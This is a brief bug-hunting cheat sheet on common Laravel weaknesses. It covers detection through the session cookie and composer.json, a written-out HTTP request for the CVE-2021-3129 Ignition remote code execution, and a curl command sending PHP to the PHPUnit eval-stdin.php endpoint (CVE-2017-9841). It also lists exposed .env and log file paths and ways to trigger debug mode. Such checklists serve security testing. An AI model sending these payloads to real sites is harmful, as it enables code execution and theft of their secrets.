Laravel Common Bugs

Introduction

What would you do if you came across a website that uses Laravel?

How to Detect

Usually in the HTTP response there is a header like this Set-Cookie: laravel_session=

1. Find the related CVE by checking laravel version

• How to find the laravel version

By checking the composer file in https://example.com/composer.json, sometimes the version is printed there. If you found outdated laravel version, find the CVEs at CVEDetails

Some example CVE:

• CVE-2021-3129 (Remote Code Execution)

POST /_ignition/execute-solution HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json

{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}

1. Laravel 4.8.28 ~ 5.x - PHPUnit Remote Code Execution (CVE-2017-9841)

curl -d "<?php echo php_uname(); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

1. Exposed environment variables

• Full Path Exploit : http://example.com/.env

Environment Variables

1. Exposed log files

• Full Path Exploit : http://example.com/storage/logs/laravel.log

1. Laravel Debug Mode Enabled

• Try to request to https://example.com using POST method (Error 405)

• Using [] in paramater (ex:example.com/param[]=0)

Laravel Debug Mode

References

• Nakanosec